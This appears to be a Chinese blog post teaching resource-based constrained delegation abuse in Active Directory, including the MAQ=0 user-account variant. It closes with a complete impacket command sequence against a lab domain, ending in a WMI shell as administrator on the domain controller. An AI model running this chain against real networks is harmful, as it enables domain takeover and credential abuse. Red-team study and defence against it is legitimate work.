基于资源的约束委派

RBCD

给机器添加RBCD的前提:1.自己能给自己添加 2.ACL→Account Restriction/msDS-AllowedToActOnBehalfOfOtherIdentity属性→creator-sid/backdoor/high level user。如果对计算机对象/域用户具Account Restriction和msDS-AllowedToActOnBehalfOfOtherIdentity属性的WriteProperty,就能进行基于 资源约束委派的利用。

简单利用

基于资源的约束委派(Computer)

添加
分两种情况:

(1).creator-sid 用户:alice-workstation$由alice拉入域中,则alice默认就具有alice-workstation$的Account Restriction的WriteProperty权限

(2).拿下域权限后添加bob对alice-workstation$的msDS-AllowedToActOnBehalfOfOtherIdentity的WriteProperty权限 1.ldap_shell

2.lex

adfind对alice-workstation的acl进行查询:

滥用

以bob对alice-workstation$滥用进行演示:

域用户默认能添加 10 台计算机入域(maq),以bob的身份添加bob-evil$

设置bob-evil到alice-station$的rbcd

约束委派生成administrator对alice-station$的cifs ST票据

导入票据并获得一个wmi的交互式shell

基于资源的约束委派(User)→MAQ=0

前段时间,老外已经研究出了这种利用方式:

https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html 在maq=0的情况下,攻击者无法创建机器账户,可以通过域用户rbcd到域机器账户进行滥用。

添加

跟上面一样,alice-station由alice拉入域中,所以alice具有alice-station$域用户的 **msDS-AllowedToActOnBehalfOfOtherIdentity的 WriteProperty权限。** 设置bob到alice-station$到bob的rbcd:

滥用

getST.py生成administrator对alice-station的cifs ST票据:

在S4U2self阶段报错:Kerberos SessionError:KDC_ERR_S_PRINCIPAL_UNKNOWN。

这是因为用户默认没有注册SPN,KDC无法选择正确的密钥来解密,所以在S4U2Self才会失败。如果将 SPN 添加到bob就能成功从 KDC申请ST票据,这意味着这不是用户帐户本身的问题,而只是 KDC 无法选择正确密钥进行解密。

U2U实现了用户到用户的身份验证拓展,在S4U2Proxy阶段KDC会尝试使用bob的Long-term key(bob 的hash)进行解密,但U2U会使 用附加到TGS-REQ当中的TGT会话密钥加密之后的票据,KDC无法正常解密。这时可以利用SamrChangePasswordUser在S4U2Self 和S4U2Proxy中间将bob的hash更改成U2U对TGT加密密钥的值,KDC就能成功解密并颁发ST票据。具体可参考:https://mp.weixin.qq.com/s/1eJb-UtSVRV5JF0gfQgwWg

impacket利用

以设置普通域用户dandy基于资源约束委派到dc1$为例,这里直接粗暴利用administrator设置rbcd

# 设置dandy到dc1$的RBCD
python3 rbcd.py redteam.lab/administrator:Qq123456.. -action write -delegate-to 'dc1$' -delegate-from 'dandy' -dc-ip 192.168.134.
# 使用dandy的hash生成TGT(ntlm hash使用RC4加密)
getTGT.py -hashes :$(pypykatz crypto nt 'Qq123456..') 'redteam.lab/dandy' -dc-ip 192.168.134.
# 获取dandyTGT的Session Key
python3 describeticket.py dandy.ccache | grep 'Ticket Session Key'
# 将dandy的hash设置为Session Key
python3 smbpasswd.py -newhashes :c592bc40c1908aff4787f4f4db7f0a82 'redteam/dandy:Qq123456..'@dc1.redteam.lab
# 导入TGT
export KRB5CCNAME=dandy.ccache
# 利用u2u获取dc1的host service的ST
python3 getST.py -u2u -impersonate administrator -spn "host/dc1.redteam.lab" -k -no-pass 'redteam.lab/dandy'
# 导入ST
export KRB5CCNAME=administrator@host_dc1.redteam.lab@REDTEAM.LAB.ccache
# WMI
python3 wmiexec.py administrator@dc1.redteam.lab -k -no-pass

注:SamrChangePasswordUser受域组策略影响,域内默认且普遍存在密码策略,可能不能做到及时改回密码。如果肯定通过当前 域用户能拿下DC的话可以进行尝试,利用成功后将用户密码改为原来的值。

  • 19
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值